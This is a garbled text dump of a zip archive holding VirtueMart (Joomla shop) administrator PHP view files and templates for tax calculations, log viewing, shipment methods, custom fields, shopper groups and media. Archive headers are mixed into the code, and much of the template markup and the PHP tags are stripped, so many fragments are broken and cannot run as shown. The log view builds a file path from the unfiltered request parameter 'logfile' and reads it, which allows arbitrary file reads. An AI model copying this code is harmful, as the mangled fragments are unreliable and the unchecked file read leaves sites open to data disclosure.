'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "1" '; $db->setQuery($q); $currency= $db->loadResult(); $calc->calc_currency = $currency; } else { $calc->calc_currency = $currency; } } $entryPointsList = self::renderEntryPointsList($calc->calc_kind); $this->assignRef('entryPointsList',$entryPointsList); $mathOpList = self::renderMathOpList($calc->calc_value_mathop); $this->assignRef('mathOpList',$mathOpList); /* Get the category tree */ $categoryTree= null; if (isset($calc->calc_categories)){ $calc_categories = $calc->calc_categories; $categoryTree = ShopFunctions::categoryListTree($calc_categories); }else{ $categoryTree = ShopFunctions::categoryListTree(); } $this->assignRef('categoryTree', $categoryTree); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); /* Get the shoppergroup tree */ $shopperGroupList= ShopFunctions::renderShopperGroupList($calc->virtuemart_shoppergroup_ids,True); $this->assignRef('shopperGroupList', $shopperGroupList); $countriesList = ShopFunctions::renderCountryList($calc->calc_countries,True); $this->assignRef('countriesList', $countriesList); $statesList = ShopFunctions::renderStateList($calc->virtuemart_state_ids,'', True); $this->assignRef('statesList', $statesList); $manufacturerList= ShopFunctions::renderManufacturerList($calc->virtuemart_manufacturers,true); $this->assignRef('manufacturerList', $manufacturerList); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($calc->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands(); } else { if((Vmconfig::get('multix','none')!='none') && $this->perms->check( 'admin' )){ JToolBarHelper::custom('toggle.shared.1', 'publish', 'yes', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_ON'), true); JToolBarHelper::custom('toggle.shared.0', 'unpublish', 'no', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_OFF'), true); } $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $search = JRequest::getWord('search', false); $calcs = $model->getCalcs(false, false, $search); $this->assignRef('calcs', $calcs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } /** * Builds a list to choose the Entrypoints * When you want to add extra Entrypoints, look in helpers/calculationh.php for mor information * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderEntryPointsList($selected){ //MathOp array $entryPoints = array( '0' => array('calc_kind' => 'Marge', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_PMARGIN')), '1' => array('calc_kind' => 'DBTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAX')), '2' => array('calc_kind' => 'Tax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAX')), '3' => array('calc_kind' => 'VatTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_VATTAX')), '4' => array('calc_kind' => 'DATax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAX')), '5' => array('calc_kind' => 'DBTaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL')), '6' => array('calc_kind' => 'TaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAXBILL')), '7' => array('calc_kind' => 'DATaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAXBILL')), ); $listHTML = JHTML::_('Select.genericlist', $entryPoints, 'calc_kind', '', 'calc_kind', 'calc_kind_name', $selected ); return $listHTML; } /** * Builds a list to choose the mathematical operations * When you want to add extra operations, look in helpers/calculationh.php for more information * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderMathOpList($selected){ //MathOp array $mathOps = array( '0' => array('calc_value_mathop' => '+', 'calc_value_mathop_name' => '+'), '1' => array('calc_value_mathop' => '-', 'calc_value_mathop_name' => '-'), '2' => array('calc_value_mathop' => '+%', 'calc_value_mathop_name' => '+%'), '3' => array('calc_value_mathop' => '-%', 'calc_value_mathop_name' => '-%') ); if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $answer = $dispatcher->trigger('plgVmAddMathOp', array(&$mathOps)); $listHTML = JHTML::_('Select.genericlist', $mathOps, 'calc_value_mathop', '', 'calc_value_mathop', 'calc_value_mathop_name', $selected ); return $listHTML; } } // pure php no closing tagPKs>\)#com_virtuemart/views/calc/.htaccessnuW+A Order allow,deny Deny from all PKs>\_.VV,com_virtuemart/views/calc/tmpl/edit_calc.phpnuW+Atrigger('plgVmOnDisplayEdit', array('vmcalculation' , $html)); // print_r( $returnValues ); // vmdebug('pluginstuff',$returnValues); ?>
      calc->calc_name); ?> calc->published); ?> perms->check('admin') ){ echo VmHTML::row('checkbox','COM_VIRTUEMART_SHARED', 'shared', $this->calc->shared ); } ?> calc->ordering,'class="inputbox"','',4,4); ?> calc->calc_descr,'class="inputbox"','',70,255); ?> entryPointsList ); ?> mathOpList ); ?> calc->calc_value); ?> currencies ,$this->calc->calc_currency,'','virtuemart_currency_id', 'currency_name',false) ; ?> shopperGroupList ); ?> countriesList ); ?> statesList ); ?> manufacturerList ); /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calc->calc_shopper_published); ?> calc->calc_vendor_published); ?> calc->publish_up, 'publish_up') ); ?> calc->publish_down, 'publish_down') ); ?>
      trigger('plgVmOnDisplayEdit', array(&$this->calc,&$html)); echo $html; if(Vmconfig::get('multix','none')!=='none' and $this->perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
      addStandardHiddenToForm(); ?>
      PKs>\J..*com_virtuemart/views/calc/tmpl/default.phpnuW+A

      perms->check( 'admin' )){ ?> */ ?> */ ?> perms->check( 'admin' )){ ?> */ ?> calcs ); $i < $n; $i++) { $row = $this->calcs[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_calc_id); $published = JHTML::_('grid.published', $row, $i); $shared = $this->toggle($row->shared, $i, 'toggle.shared'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=calc&task=edit&cid[]=' . $row->virtuemart_calc_id); ?> "> perms->check( 'admin' )){ ?> calc_shopper_published ? 'tick.png' : 'publish_x.png')); ?> */ ?> calc_amount_cond; ?> */ ?>
      sort('calc_name', 'COM_VIRTUEMART_NAME') ; ?> sort('calc_descr' , 'COM_VIRTUEMART_DESCRIPTION'); ?> sort('ordering') ; ?> sort('calc_kind') ; ?> sort('calc_value' , 'COM_VIRTUEMART_VALUE'); ?> sort('calc_currency' , 'COM_VIRTUEMART_CURRENCY'); ?> St.Kraft 2013-02-24 ?> sort('publish_up' , 'COM_VIRTUEMART_START_DATE'); ?> sort('publish_down' , 'COM_VIRTUEMART_END_DATE'); ?> sort('virtuemart_calc_id', 'COM_VIRTUEMART_ID') ?>
      calc_name; ?> virtuemart_vendor_id; ?> calc_descr; ?> ordering; ?> calc_kind; ?> calc_value_mathop; ?> calc_value; ?> currencyName; ?> calcCategoriesList; ?> calcManufacturersList; /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calcShoppersList; ?> calc_vendor_published ? 'tick.png' : 'publish_x.png')); ?> publish_up, 'LC4',true); ?> publish_down, 'LC4',true); ?> calc_amount_dimunit); ?> calcCountriesList); ?> calcStatesList); ?> virtuemart_calc_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\)(com_virtuemart/views/calc/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\i'com_virtuemart/views/calc/tmpl/edit.phpnuW+A\)com_virtuemart/views/calc/tmpl/index.htmlnuW+APKs>\$com_virtuemart/views/calc/index.htmlnuW+APKs>\)"com_virtuemart/views/log/.htaccessnuW+A Order allow,deny Deny from all PKs>\:؆&com_virtuemart/views/log/tmpl/edit.phpnuW+A
      	
        fileContentByLine as $line) echo "
      1. ".str_replace(array("
        ","
        "),"",$line)."
      2. "; ?>
        
        PKs>\(com_virtuemart/views/log/tmpl/index.htmlnuW+APKs>\)'com_virtuemart/views/log/tmpl/.htaccessnuW+A
        Order allow,deny
        Deny from all
        PKs>\Ci		)com_virtuemart/views/log/tmpl/default.phpnuW+A
        		logFiles) {
        			foreach ($this->logFiles as $logFile ) {
        				$addLink=false;
        				$fileSize = filesize($this->path.DS.$logFile);
        				$fileInfo= $finfo?$finfo->file($this->path.DS.$logFile):0;
        				$fileInfoMime=substr($fileInfo, 0 ,strlen("text/plain"));
        				if (!$finfo or strcmp("text/plain", $fileInfoMime)==0) {
        					$addLink=true;
        				}
        				?>
        				
        0 and $addLink) { ?> 0) { ?>
        addStandardHiddenToForm(); AdminUIHelper::endAdminArea(); ?> PKs>\IB&com_virtuemart/views/log/view.html.phpnuW+Aget('log_path', JPATH_ROOT . "/log"); $layoutName = JRequest::getWord('layout', 'default'); VmConfig::loadJLang('com_virtuemart_log'); if ($layoutName == 'edit') { $logFile = JRequest::getString('logfile', ''); $this->SetViewTitle('LOG', $logFile); $fileContent = file_get_contents($log_path . DS . $logFile); $fileContentByLine = explode("\n", $fileContent); $this->assignRef('fileContentByLine', $fileContentByLine); JToolBarHelper::cancel(); } else { $logFiles = JFolder::files($log_path, $filter = '.', true, false, array('index.html')); $this->SetViewTitle('LOG'); $this->assignRef('logFiles', $logFiles); $this->assignRef('path', $log_path); } parent::display($tpl); } } //No Closing Tag PKs>\#com_virtuemart/views/log/index.htmlnuW+APKs>\3com_virtuemart/views/shipmentmethod/tmpl/index.htmlnuW+APKs>\X6com_virtuemart/views/shipmentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
        shipment->shipment_name); ?> shipment->slug); ?> shipment->published); ?> shipment->shipment_desc); ?> pluginList); ?> shopperGroupList); ?> shipment->ordering, 'class="inputbox"', '', 4, 4); ?> vendorList); } ?>
        PKs>\<%8com_virtuemart/views/shipmentmethod/tmpl/edit_config.phpnuW+Ashipment->shipment_name) { $parameters = new vmParameters($this->shipment, $this->shipment->shipment_element, 'plugin', 'vmshipment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_SHIPPING_METHOD'); } /* */ PKs>\F/ kw w 4com_virtuemart/views/shipmentmethod/tmpl/default.phpnuW+A
        shipments ); $i < $n; $i++) { $row = $this->shipments[$i]; $published = JHTML::_('grid.published', $row, $i ); /** * @todo Add to database layout published column */ $row->published = 1; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shipmentmethod_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shipmentmethod&task=edit&cid[]=' . $row->virtuemart_shipmentmethod_id); ?>
        sort('shipment_name', 'COM_VIRTUEMART_SHIPMENT_NAME_LBL'); ?> sort('shipment_element', 'COM_VIRTUEMART_SHIPMENTMETHOD'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_shipmentmethod_id', 'COM_VIRTUEMART_ID') ?>
        shipment_name)); ?> shipment_desc; ?> shipmentShoppersList; ?> shipment_element; //JHTML::_('link', $editlink, JText::_($row->shipment_element)); ?> ordering); ?> virtuemart_shipmentmethod_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PKs>\1com_virtuemart/views/shipmentmethod/tmpl/edit.phpnuW+A
        shipment->virtuemart_shipmentmethod_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
        PKs>\)2com_virtuemart/views/shipmentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)-com_virtuemart/views/shipmentmethod/.htaccessnuW+A Order allow,deny Deny from all PKs>\fUߙ1com_virtuemart/views/shipmentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); $model = VmModel::getModel(); $layoutName = JRequest::getWord('layout', 'default'); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $shipment = $model->getShipment(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = 1; $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $this->assignRef('vendor_currency', $currency->currency_symbol); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($shipment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->assignRef('pluginList', self::renderInstalledShipmentPlugins($shipment->shipment_jplugin_id)); $this->assignRef('shipment', $shipment); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($shipment->virtuemart_shoppergroup_ids,true)); $this->addStandardEditViewCommands($shipment->virtuemart_shipmentmethod_id); } else { JToolBarHelper::custom('cloneshipment', 'copy', 'copy', JText::_('COM_VIRTUEMART_SHIPMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shipments = $model->getShipments(); $this->assignRef('shipments', $shipments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledShipmentPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmshipment" AND `state`="0" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED')); } foreach ($result as &$sh) { $sh['name'] = JText::_($sh['name']); } $attribs='style= "width: 300px;"'; return JHtml::_('select.genericlist', $result, 'shipment_jplugin_id', $attribs, $ext_id, 'name', $selected); } } // pure php no closing tag PKs>\.com_virtuemart/views/shipmentmethod/index.htmlnuW+APKs>\#o,,&com_virtuemart/views/custom/index.htmlnuW+APKs>\n )com_virtuemart/views/custom/view.json.phpnuW+AsetQuery( $query ); $json = $db->loadObject(); if (isset($json->file_url)) { $json->file_url = JURI::root().$json->file_url; $json->msg = 'OK'; echo json_encode($json); } else { $json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo json_encode($json); } } elseif ( $custom_jplugin_id = JRequest::getInt('custom_jplugin_id') ) { if (JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $ext_id . '` = "'.$custom_jplugin_id.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin->params, $this->plugin->element , 'plugin' ,'vmcustom'); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $filename = 'plg_vmcustom_' . $this->plugin->element; vmPlugin::loadJLang($filename,'vmcustom',$this->plugin->element); echo $parameters->render(); echo ''; jExit(); } jExit(); } } // pure php no closing tag PKs>\)%com_virtuemart/views/custom/.htaccessnuW+A Order allow,deny Deny from all PKs>\|5 5 )com_virtuemart/views/custom/tmpl/edit.phpnuW+A
        customfields->addHidden('view', 'custom'); $this->customfields->addHidden('task', ''); $this->customfields->addHidden(JUtility::getToken(), 1); //if ($this->custom->custom_parent_id) $this->customfields->addHidden('custom_parent_id',$this->custom->custom_parent_id); $attribute_id = JRequest::getVar('attribute_id', ''); if (!empty($attribute_id)) $this->customfields->addHidden('attribute_id', $attribute_id); ?> customfields->displayCustomFields($this->custom); ?>
        pluginList ?>
        customPlugin)) { ?> customPlugin, $this->customPlugin->custom_element, 'plugin', 'vmcustom'); echo $rendered = $parameters->render(); ?>
        customPlugin->custom_jplugin_id)) { ?>
        PKs>\Ȟ,com_virtuemart/views/custom/tmpl/default.phpnuW+A
        customs->items; //$roles = $this->customlistsroles; ?> $custom) { $checked = JHTML::_('grid.id', $i , $custom->virtuemart_custom_id,false,'virtuemart_custom_id'); if (!is_null($custom->virtuemart_custom_id)) $published = JHTML::_('grid.published', $custom, $i ); else $published = ''; ?> custom_parent_id."&option=".$option; ?> virtuemart_custom_id; if ($custom->is_cart_attribute) $cartIcon= 'default'; else $cartIcon= 'default-off'; ?>
        sort('ordering') ?> sort('virtuemart_custom_id', 'COM_VIRTUEMART_ID') ?>
        hasKey($custom->custom_parent_title) ? JText::_($custom->custom_parent_title) : $custom->custom_parent_title; echo JHTML::_('link', JRoute::_($link,FALSE),$text, array('title' => JText::_('COM_VIRTUEMART_FILTER_BY').' '.$text)); ?> custom_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$custom->custom_title)); ?> custom_field_desc; ?> field_type_display; ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_custom_id; ?>
        pagination->getListFooter(); ?>
        PKs>\)*com_virtuemart/views/custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\El+com_virtuemart/views/custom/tmpl/index.htmlnuW+A PKs>\9|)com_virtuemart/views/custom/view.html.phpnuW+ASetViewTitle('PRODUCT_CUSTOM_FIELD'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->addStandardEditViewCommands(); $customPlugin = ''; if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $custom = $model->getCustom(); $customfields = VmModel::getModel('customfields'); // vmdebug('VirtuemartViewCustom',$custom); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmOnDisplayEdit',array($custom->virtuemart_custom_id,&$customPlugin)); $this->SetViewTitle('PRODUCT_CUSTOM_FIELD', $custom->custom_title); $selected=0; if(!empty($custom->custom_jplugin_id)) { $selected = $custom->custom_jplugin_id; } $pluginList = self::renderInstalledCustomPlugins($selected); $this->assignRef('customPlugin', $customPlugin); $this->assignRef('pluginList',$pluginList); $this->assignRef('custom', $custom); $this->assignRef('customfields', $customfields); } else { JToolBarHelper::custom('createClone', 'copy', 'copy', JText::_('COM_VIRTUEMART_CLONE'), true); JToolBarHelper::custom('toggle.admin_only.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.admin_only.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.is_hidden.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); JToolBarHelper::custom('toggle.is_hidden.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $customs = $model->getCustoms(JRequest::getInt('custom_parent_id'),JRequest::getWord('keyword')); $this->assignRef('customs', $customs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledCustomPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmcustom" AND `'.$enable.'`="1" '; $db->setQuery($q); $results = $db->loadAssocList($ext_id); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $lang =JFactory::getLanguage(); foreach ($results as $result) { //$filename = 'plg_vmcustom_' . $this->plugin->element; $filename = 'plg_' .strtolower ( $result['name']).'.sys'; vmPlugin::loadJLang($filename,'vmcustom',$result['name']); } return VmHTML::select( 'custom_jplugin_id', $results, $selected,"",$ext_id, 'name'); //return JHtml::_('select.genericlist', $result, 'custom_jplugin_id', null, $ext_id, 'name', $selected); } } // pure php no closing tagPKs>\)+com_virtuemart/views/shoppergroup/.htaccessnuW+A Order allow,deny Deny from all PKs>\,com_virtuemart/views/shoppergroup/index.htmlnuW+APKs>\M /com_virtuemart/views/shoppergroup/view.html.phpnuW+AassignRef('perms', Permissions::getInstance()); $model = VmModel::getModel(); $layoutName = $this->getLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if ($layoutName == 'edit') { //For shoppergroup specific price display VmConfig::loadJLang('com_virtuemart_config'); $shoppergroup = $model->getShopperGroup(); $this->SetViewTitle('SHOPPERGROUP',$shoppergroup->shopper_group_name); $vendors = ShopFunctions::renderVendorList($shoppergroup->virtuemart_vendor_id); $this->assignRef('vendorList', $vendors); $this->assignRef('shoppergroup', $shoppergroup); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); JToolBarHelper::makeDefault(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shoppergroups = $model->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $pagination = $model->getPagination(); $this->assignRef('sgrppagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\)0com_virtuemart/views/shoppergroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\1com_virtuemart/views/shoppergroup/tmpl/index.htmlnuW+APKs>\j2com_virtuemart/views/shoppergroup/tmpl/default.phpnuW+A
        showVendors){ ?> shoppergroups ); $i < $n; $i++) { $row = $this->shoppergroups[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id,null,'virtuemart_shoppergroup_id'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shoppergroup&task=edit&virtuemart_shoppergroup_id[]=' . $row->virtuemart_shoppergroup_id); ?> showVendors){ ?>
        sort('virtuemart_shoppergroup_id', 'COM_VIRTUEMART_ID') ?>
        shopper_group_name); ?> shopper_group_desc); ?> default == 1) { if (JVM_VERSION===1) { ?> <?php echo JText::_( 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT' ); ?>   virtuemart_vendor_id; ?> virtuemart_shoppergroup_id; ?>
        sgrppagination->getListFooter(); ?>
        addStandardHiddenToForm($this->_name,$this->task); ?>
        PKs>\=;PP/com_virtuemart/views/shoppergroup/tmpl/edit.phpnuW+AaddScriptDeclaration($js); AdminUIHelper::startAdminArea($this); AdminUIHelper::imitateTabs('start', 'COM_VIRTUEMART_SHOPPERGROUP_NAME'); ?>
        shoppergroup->shopper_group_name); ?> shoppergroup->published); ?> * */ ?> shoppergroup->default == 1) { ?> shoppergroup->shopper_group_desc); ?>
        vendorList; ?>
        <?php echo JText::_('Default'); ?>
        shoppergroup->custom_price_display,1,0,$attributes) ?>
        shoppergroup->price_display, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
        shoppergroup->price_display->get('show_prices')); ?>
        addStandardHiddenToForm(); ?>
        PKs>\]D+com_virtuemart/views/media/tmpl/default.phpnuW+A
        files; //$roles = $this->productfilesroles; ?> 0) { $i = 0; $k = 0; foreach ($productfileslist as $key => $productfile) { $checked = JHTML::_('grid.id', $i , $productfile->virtuemart_media_id,null,'virtuemart_media_id'); if (!is_null($productfile->virtuemart_media_id)) $published = JHTML::_('grid.published', $productfile, $i ); else $published = ''; ?> limitstart."&keyword=".urlencode($keyword)."&option=".$option; ?> virtuemart_media_id; ?>
        sort('file_title', 'COM_VIRTUEMART_FILES_LIST_FILETITLE') ?> sort('file_type', 'COM_VIRTUEMART_FILES_LIST_ROLE') ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_media_id', 'COM_VIRTUEMART_ID') ?>
        product_name)? '': $productfile->product_name); ?> file_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$productfile->file_title)); ?> file_is_product_image)) echo JText::_('COM_VIRTUEMART_'.strtoupper($productfile->file_type).'_IMAGE') ; if(!empty($productfile->file_is_downloadable)) echo JText::_('COM_VIRTUEMART_DOWNLOADABLE') ; if(!empty($productfile->file_is_forSale)) echo JText::_('COM_VIRTUEMART_FOR_SALE'); ?> displayMediaThumb(); ?> file_name; ?> file_extension; ?> virtuemart_media_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PKs>\))com_virtuemart/views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,*com_virtuemart/views/media/tmpl/index.htmlnuW+APKs>\~J(com_virtuemart/views/media/tmpl/edit.phpnuW+A'; echo '
        '; $this->media->addHidden('view','media'); $this->media->addHidden('task',''); $this->media->addHidden(JUtility::getToken(),1); $this->media->addHidden('file_type',$this->media->file_type); $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', ''); if(!empty($virtuemart_product_id)) $this->media->addHidden('virtuemart_product_id',$virtuemart_product_id); $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', ''); if(!empty($virtuemart_category_id)) $this->media->addHidden('virtuemart_category_id',$virtuemart_category_id); echo $this->media->displayFileHandler(); echo '
        '; echo ''; AdminUIHelper::imitateTabs('end'); AdminUIHelper::endAdminArea(); PKs>\蠘(com_virtuemart/views/media/view.json.phpnuW+AsetMimeEncoding( 'application/json' ); if ($virtuemart_media_id = JRequest::getInt('virtuemart_media_id')) { //JResponse::setHeader( 'Content-Disposition', 'attachment; filename="media'.$virtuemart_media_id.'.json"' ); $model = VmModel::getModel('Media'); $image = $model->createMediaByIds($virtuemart_media_id); // echo '
        '.print_r($image,1).'
        '; $this->json = $image[0]; //echo json_encode($this->json); if (isset($this->json->file_url)) { $this->json->file_root = JURI::root(true).'/'; $this->json->msg = 'OK'; echo @json_encode($this->json); } else { $this->json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo @json_encode($this->json); } } else { if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $start = JRequest::getInt('start',0); $type = JRequest::getWord('mediatype',0); $list = VmMediaHandler::displayImages($type,$start ); echo @json_encode($list); } jExit(); } } // pure php no closing tag PKs>\)$com_virtuemart/views/media/.htaccessnuW+A Order allow,deny Deny from all PKs>\(&&(com_virtuemart/views/media/view.html.phpnuW+AassignRef('vendorId', $vendorId); // TODO add icon for media view $this->SetViewTitle(); $model = VmModel::getModel('media'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $media = $model->getFile(); $this->assignRef('media', $media); $isNew = ($media->virtuemart_media_id < 1); $this->addStandardEditViewCommands(); } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $cat_id = 